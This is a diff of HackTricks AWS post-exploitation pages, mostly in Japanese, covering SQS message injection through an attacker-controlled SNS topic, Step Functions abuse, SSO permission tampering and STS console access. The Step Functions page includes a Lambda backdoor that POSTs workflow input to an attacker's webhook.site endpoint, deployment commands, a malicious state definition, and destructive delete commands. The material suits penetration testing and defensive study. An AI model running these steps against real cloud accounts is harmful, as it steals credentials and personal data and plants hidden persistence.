src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md

@@ -0,0 +1,54 @@
+# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## 説明
+
+SQS キューのリソースポリシーを悪用して、攻撃者が制御する SNS トピックが被害者の SQS キューにメッセージを送信できるようにする。同一アカウント内では、SNS トピックへの SQS サブスクリプションは自動で確認されるが、クロスアカウントではキューから SubscriptionConfirmation トークンを読み取り、ConfirmSubscription を呼び出す必要がある。これにより、下流のコンシューマが暗黙に信頼する可能性のある、意図しないメッセージ注入が可能になる。
+
+### 要件
+- ターゲット SQS キューのリソースポリシーを変更できること: `sqs:SetQueueAttributes` on the victim queue.
+- 攻撃者が制御する SNS トピックを作成/公開できること: `sns:CreateTopic`, `sns:Publish`, and `sns:Subscribe` on the attacker account/topic.
+- クロスアカウントのみ: 被害者キュー上の一時的な `sqs:ReceiveMessage`（確認トークンを読み取り `sns:ConfirmSubscription` を呼び出すため）。
+
+### 同一アカウントでの悪用
+```bash
+REGION=us-east-1
+# 1) Create victim queue and capture URL/ARN
+Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Create attacker SNS topic
+TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
+
+# 3) Allow that SNS topic to publish to the queue (queue resource policy)
+cat > /tmp/ht-sqs-sns-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
+JSON
+sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
+# Provide the attribute as a JSON map so quoting works reliably
+cat > /tmp/ht-attrs.json <<JSON
+{
+"Policy": "REPLACE_POLICY_JSON"
+}
+JSON
+# Embed the policy file contents as a JSON string
+POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
+sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
+
+# 4) Subscribe the queue to the topic (auto-confirms same-account)
+aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
+
+# 5) Publish and verify injection
+aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
+```
+### クロスアカウントの注意点
+- 上記のキューポリシーは、外部の `TOPIC_ARN`（攻撃者アカウント）を許可している必要がある。
+- Subscriptions は自動で確認されない。被害者のキューに対して一時的に `sqs:ReceiveMessage` を付与し、`SubscriptionConfirmation` メッセージを読み取り、その `Token` を使って `sns confirm-subscription` を呼び出す。
+
+### 影響
+**潜在的影響**: SNS 経由で信頼された SQS キューに継続的に望まれないメッセージを注入され、意図しない処理のトリガー、データ汚染、ワークフローの悪用などを引き起こす可能性がある。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md

@@ -1,18 +1,18 @@
-# AWS - SSO & identitystore ポストエクスプロイテーション
+# AWS - SSO & identitystore Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## SSO & identitystore
 
-詳細については、以下を確認してください:
+詳しくは次を参照:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
 ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
 
-これらの権限は、権限を妨害するために使用できます:
+これらの権限は、アクセス権を混乱させるために使用できます:
 ```bash
 aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
 
@@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
 
 aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md

@@ -1,184 +0,0 @@
-# AWS - Step Functions Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-このAWSサービスに関する詳細情報は、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### `states:RevealSecrets`
-
-この権限は**実行内の秘密データを明らかにする**ことを許可します。そのためには、Inspection levelをTRACEに設定し、revealSecretsパラメータをtrueにする必要があります。
-
-<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
-
-### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
-
-これらの権限を持つ攻撃者は、ステートマシン、そのバージョン、およびエイリアスを永久に削除することができます。これにより、重要なワークフローが中断され、データ損失が発生し、影響を受けたステートマシンの回復と復元に多大な時間が必要となる可能性があります。さらに、攻撃者は使用した痕跡を隠し、法医学的調査を妨害し、重要な自動化プロセスやステート構成を削除することで、業務を麻痺させる可能性があります。
-
-> [!NOTE]
->
-> - ステートマシンを削除すると、その関連するすべてのバージョンとエイリアスも削除されます。
-> - ステートマシンエイリアスを削除しても、このエイリアスを参照しているステートマシンバージョンは削除されません。
-> - 現在1つ以上のエイリアスによって参照されているステートマシンバージョンを削除することはできません。
-```bash
-# Delete state machine
-aws stepfunctions delete-state-machine --state-machine-arn <value>
-# Delete state machine version
-aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
-# Delete state machine alias
-aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
-```
-- **潜在的な影響**: 重要なワークフローの中断、データ損失、および運用のダウンタイム。
-
-### `states:UpdateMapRun`
-
-この権限を持つ攻撃者は、Map Runの失敗設定と並行設定を操作でき、許可される子ワークフロー実行の最大数を増減させることができ、サービスのパフォーマンスに直接影響を与えます。さらに、攻撃者は許容される失敗率とカウントを改ざんでき、この値を0に減少させることができるため、アイテムが失敗するたびに全体のマップランが失敗し、状態マシンの実行に直接影響を与え、重要なワークフローを中断させる可能性があります。
-```bash
-aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
-```
-- **潜在的な影響**: パフォーマンスの低下と重要なワークフローの中断。
-
-### `states:StopExecution`
-
-この権限を持つ攻撃者は、任意のステートマシンの実行を停止でき、進行中のワークフローやプロセスを中断させる可能性があります。これにより、未完了のトランザクション、停止したビジネスオペレーション、潜在的なデータの破損が発生する可能性があります。
-
-> [!WARNING]
-> このアクションは**エクスプレスステートマシン**ではサポートされていません。
-```bash
-aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
-```
-- **潜在的な影響**: 継続中のワークフローの中断、運用のダウンタイム、及び潜在的なデータの破損。
-
-### `states:TagResource`, `states:UntagResource`
-
-攻撃者は、Step Functionsリソースからタグを追加、変更、または削除することができ、これにより組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーが混乱する可能性があります。
-```bash
-aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
-aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
-```
-**潜在的な影響**: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。
-
----
-
-### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
-
-次の権限を持つユーザーまたはロールを侵害した攻撃者:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "AllowUpdateStateMachine",
-"Effect": "Allow",
-"Action": "states:UpdateStateMachine",
-"Resource": "*"
-},
-{
-"Sid": "AllowUpdateFunctionCode",
-"Effect": "Allow",
-"Action": "lambda:UpdateFunctionCode",
-"Resource": "*"
-}
-]
-}
-```
-...は、LambdaのバックドアとStep Functionのロジック操作を組み合わせることで、**高影響かつステルスなポストエクスプロイテーション攻撃**を実行できます。
-
-このシナリオは、被害者が**AWS Step Functionsを使用して、資格情報、トークン、またはPIIなどの機密入力を処理するワークフローをオーケストレーションしている**ことを前提としています。
-
-例としての被害者の呼び出し:
-```bash
-aws stepfunctions start-execution \
---state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
---input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
-```
-もしStep Functionが`LegitBusinessLogic`のようなLambdaを呼び出すように設定されている場合、攻撃者は**2つのステルス攻撃バリアント**を進めることができます：
-
----
-
-#### ラムダ関数の更新
-
-攻撃者は、Step Functionによって既に使用されているLambda関数（`LegitBusinessLogic`）のコードを修正し、入力データを静かに外部に流出させます。
-```python
-# send_to_attacker.py
-import requests
-
-def lambda_handler(event, context):
-requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
-return {"status": "exfiltrated"}
-```
-
-```bash
-zip function.zip send_to_attacker.py
-
-aws lambda update-function-code \
---function-name LegitBusinessLogic \
---zip-file fileb://function.zip -profile attacker
-```
----
-
-#### ステップ関数に悪意のある状態を追加する
-
-代わりに、攻撃者はステップ関数の定義を更新することで、ワークフローの最初に**エクスフィルトレーション状態**を挿入することができます。
-```malicious_state_definition.json
-{
-"Comment": "Backdoored for Exfiltration",
-"StartAt": "OriginalState",
-"States": {
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-
-```
-
-```bash
-aws stepfunctions update-state-machine \
---state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
---definition file://malicious_state_definition.json --profile attacker
-```
-攻撃者は、状態定義を次のように更新することで、さらにステルス性を高めることができます。
-{
-"Comment": "Exfiltrationのためにバックドアを仕込む",
-"StartAt": "ExfiltrateSecrets",
-"States": {
-"ExfiltrateSecrets": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
-"InputPath": "$",
-"ResultPath": "$.exfil",
-"Next": "OriginalState"
-},
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-被害者は違いに気づかないでしょう。
-
----
-
-### 被害者のセットアップ（エクスプロイトのコンテキスト）
-
-- ステップ関数（`LegitStateMachine`）は、機密のユーザー入力を処理するために使用されます。
-- それは、`LegitBusinessLogic`などの1つ以上のLambda関数を呼び出します。
-
----
-
-**潜在的な影響**:
-- 秘密、資格情報、APIキー、PIIを含む機密データの静かな抽出。
-- ワークフロー実行における目に見えるエラーや失敗はありません。
-- Lambdaコードや実行トレースを監査しない限り、検出が困難です。
-- バックドアがコードやASLロジックに残っている場合、長期的な持続性を可能にします。
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md

@@ -0,0 +1,185 @@
+# AWS - Step Functions Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+この AWS サービスの詳細については、次を参照してください：
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### `states:RevealSecrets`
+
+この権限により、execution 内の機密データを表示できます。これを行うには、Inspection level を TRACE に設定し、revealSecrets パラメータを true にする必要があります。
+
+<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
+
+### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
+
+これらの権限を持つ攻撃者は、state machines、その versions、および aliases を永久に削除することができます。これにより重要なワークフローが中断され、データ損失が発生し、影響を受けた state machines の復旧と復元に多大な時間がかかる可能性があります。さらに、攻撃者は使用された痕跡を隠蔽したり、フォレンジック調査を妨害したり、重要な自動化プロセスや状態構成を削除して運用を麻痺させる可能性があります。
+
+> [!NOTE]
+>
+> - state machine を削除すると、それに関連するすべての versions と aliases も削除されます。
+> - state machine alias を削除しても、その alias を参照している state machine versions は削除されません。
+> - 1つ以上の alias から現在参照されている state machine version を削除することはできません。
+```bash
+# Delete state machine
+aws stepfunctions delete-state-machine --state-machine-arn <value>
+# Delete state machine version
+aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
+# Delete state machine alias
+aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
+```
+- **Potential Impact**: 重要なワークフローの中断、データ損失、および運用停止。
+
+### `states:UpdateMapRun`
+
+この権限を持つ攻撃者は、Map Run の failure 設定や parallel 設定を操作でき、許可される子ワークフロー実行の最大数を増減させることで、サービスの動作やパフォーマンスに直接影響を与える可能性があります。さらに、攻撃者は許容される失敗の割合やカウントを改ざんしてこれを0に下げることができ、その結果、アイテムが1件でも失敗すると Map Run 全体が失敗し、ステートマシンの実行に直接影響を与え、重要なワークフローを中断する可能性があります。
+```bash
+aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
+```
+- **潜在的な影響**: パフォーマンスの低下、および重要なワークフローの中断。
+
+### `states:StopExecution`
+
+この権限を持つ攻撃者は任意のステートマシンの実行を停止できる可能性があり、進行中のワークフローやプロセスを中断します。これにより、トランザクションの未完了、業務の停止、そしてデータ破損の可能性が生じます。
+
+> [!WARNING]
+> このアクションは**express state machines**ではサポートされていません。
+```bash
+aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
+```
+- **潜在的影響**: 継続中のワークフローの中断、運用停止、及びデータ破損の可能性。
+
+### `states:TagResource`, `states:UntagResource`
+
+攻撃者は Step Functions リソースの tags を追加・変更・削除でき、組織のコスト配分、リソース追跡、および tags に基づくアクセス制御ポリシーを混乱させる可能性があります。
+```bash
+aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
+aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
+```
+**潜在的影響**: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。
+
+---
+
+### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
+
+次の権限を持つユーザーまたはロールを侵害した攻撃者:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowUpdateStateMachine",
+"Effect": "Allow",
+"Action": "states:UpdateStateMachine",
+"Resource": "*"
+},
+{
+"Sid": "AllowUpdateFunctionCode",
+"Effect": "Allow",
+"Action": "lambda:UpdateFunctionCode",
+"Resource": "*"
+}
+]
+}
+```
+...は、Lambda backdooringとStep Function logic manipulationを組み合わせることで、**高インパクトかつステルスな post-exploitation attack** を実行できます。
+
+このシナリオでは、被害者が**AWS Step Functions を使用して、資格情報、トークン、または PII のような機密入力を処理するワークフローをオーケストレーションする**と想定します。
+
+Example victim invocation:
+```bash
+aws stepfunctions start-execution \
+--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
+--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
+```
+Step Functionが`LegitBusinessLogic`のようなLambdaを呼び出すように設定されている場合、攻撃者は**2つのステルス性の高い攻撃パターン**を実行できます:
+
+---
+
+####  lambda 関数を更新
+
+攻撃者は、Step Functionで既に使用されているLambda関数（`LegitBusinessLogic`）のコードを改変し、入力データを静かにexfiltrateします。
+```python
+# send_to_attacker.py
+import requests
+
+def lambda_handler(event, context):
+requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
+return {"status": "exfiltrated"}
+```
+
+```bash
+zip function.zip send_to_attacker.py
+
+aws lambda update-function-code \
+--function-name LegitBusinessLogic \
+--zip-file fileb://function.zip -profile attacker
+```
+---
+
+#### Step Function に悪意のあるステートを追加する
+
+あるいは、攻撃者は Step Function の定義を更新して、ワークフローの先頭に **exfiltration state** を挿入することができます。
+```malicious_state_definition.json
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "OriginalState",
+"States": {
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+
+```
+
+```bash
+aws stepfunctions update-state-machine \
+--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
+--definition file://malicious_state_definition.json --profile attacker
+```
+攻撃者はさらにステルスに状態定義を次のように更新できる。
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "ExfiltrateSecrets",
+"States": {
+"ExfiltrateSecrets": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
+"InputPath": "$",
+"ResultPath": "$.exfil",
+"Next": "OriginalState"
+},
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+被害者はその違いに気づかない。
+
+---
+
+### 被害者のセットアップ（エクスプロイトのコンテキスト）
+
+- Step Function (`LegitStateMachine`) は機密性の高いユーザー入力を処理するために使用される。
+- `LegitBusinessLogic` のような1つ以上の Lambda 関数を呼び出す。
+
+---
+
+**潜在的な影響**:
+- 機密データ（secrets、credentials、API keys、PII を含む）の silent exfiltration。
+- ワークフロー実行に目に見えるエラーや障害が発生しない。
+- Lambda のコードや実行トレースを監査しない限り検出が難しい。
+- バックドアがコードや ASL ロジックに残っている場合、長期的な persistence を可能にする。
+
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md

@@ -1,23 +1,23 @@
 # AWS - STS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## STS
 
-詳細情報:
+For more information:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
 ### From IAM Creds to Console
 
-もし IAM credentials を入手できた場合、以下のツールを使って **web console にアクセス** することに興味があるかもしれません。\
-注意: ユーザー/ロールは **`sts:GetFederationToken`** の権限を持っている必要があります。
+If you have managed to obtain some IAM credentials you might be interested on **accessing the web console** using the following tools.\
+Note that the the user/role must have the permission **`sts:GetFederationToken`**.
 
 #### カスタムスクリプト
 
-以下のスクリプトはデフォルトプロファイルとデフォルトの AWS ロケーション（gov と cn 以外）を使用して、web console にログインするために使える署名付き URL を生成します：
+以下のスクリプトはデフォルトのプロファイルとデフォルトの AWS ロケーション（not gov and not cn）を使用して、ウェブコンソールにログインするために使える署名付き URL を生成します:
 ```bash
 # Get federated creds (you must indicate a policy or they won't have any perms)
 ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
@@ -55,7 +55,7 @@ echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.co
 ```
 #### aws_consoler
 
-[https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler) を使って **Web コンソールのリンクを生成できます**。
+[https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler) を使って**Webコンソールリンクを生成できます**。
 ```bash
 cd /tmp
 python3 -m venv env
@@ -64,22 +64,22 @@ pip install aws-consoler
 aws_consoler [params...] #This will generate a link to login into the console
 ```
 > [!WARNING]
-> IAM user が `sts:GetFederationToken` 権限を持っていることを確認するか、assume する role を用意してください。
+> IAM ユーザーが `sts:GetFederationToken` パーミッションを持っていることを確認するか、assume するための role を用意してください。
 
 #### aws-vault
 
-[**aws-vault**](https://github.com/99designs/aws-vault) は開発環境で AWS の認証情報を安全に保存およびアクセスするためのツールです。
+[**aws-vault**](https://github.com/99designs/aws-vault) は、開発環境で AWS 認証情報を安全に保存およびアクセスするためのツールです。
 ```bash
 aws-vault list
 aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
 aws-vault login jonsmith # Open a browser logged as jonsmith
 ```
 > [!NOTE]
-> また、**aws-vault** を使用して **ブラウザ コンソール セッション** を取得することもできます
+> **aws-vault** を使って **ブラウザのコンソールセッション** を取得することもできます
 
-### **Python からの User-Agent 制限のバイパス**
+### **PythonからのUser-Agent制限の回避**
 
-もし **User-Agent に基づいて特定の操作を行う制限がある**（例: User-Agent に基づいて python boto3 library の使用を制限するような場合）、前述の手法を使って **ブラウザ経由で web コンソールに接続する** ことが可能ですし、あるいは直接 **boto3 の User-Agent を変更する** と次のようにできます:
+もし **User-Agent に基づいて特定の操作を実行することが制限されている** 場合（例：User-Agent に基づいて python boto3 ライブラリの使用を制限するなど）、前述の手法で **ブラウザ経由でウェブコンソールに接続する** こともできますし、あるいは直接 **boto3 の User-Agent を変更する** ことで実行することも可能です:
 ```bash
 # Shared by ex16x41
 # Create a client
@@ -94,12 +94,12 @@ response = client.get_secret_value(SecretId="flag_secret") print(response['Secre
 ```
 ### **`sts:GetFederationToken`**
 
-この権限により、それを実行したユーザーのためのフェデレーテッドIDを作成できます。作成されるIDはそのユーザーが持つ権限に制限されます。
+この権限があれば、実行しているユーザーの権限の範囲内で、フェデレーテッドアイデンティティを作成できます。
 ```bash
 aws sts get-federation-token --name <username>
 ```
-sts:GetFederationToken によって返されるトークンは、呼び出し元ユーザーのフェデレーテッドアイデンティティに属しますが、権限は制限されています。たとえユーザーが管理者権限を持っていても、IAM ユーザーの一覧表示やポリシーのアタッチなど、特定の操作はフェデレーテッドトークンでは実行できません。
+sts:GetFederationToken によって返されるトークンは呼び出し元ユーザーのフェデレーテッドIDに属しますが、権限は制限されています。たとえユーザーが管理者権限を持っていても、IAMユーザーの一覧表示やポリシーのアタッチなど、一部の操作はフェデレーテッドトークン経由では実行できません。
 
-さらに、この方法はややステルス性が高く、フェデレーテッドユーザーは AWS Portal に表示されないため、CloudTrail ログや監視ツールを通じてのみ確認できます。
+さらに、この方法はややステルス性が高くなります。フェデレーテッドユーザーはAWS Portalに表示されず、CloudTrailログや監視ツール経由でしか確認できません。
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md

@@ -1,13 +0,0 @@
-# AWS - VPN ポストエクスプロイテーション
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## VPN
-
-詳細情報:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}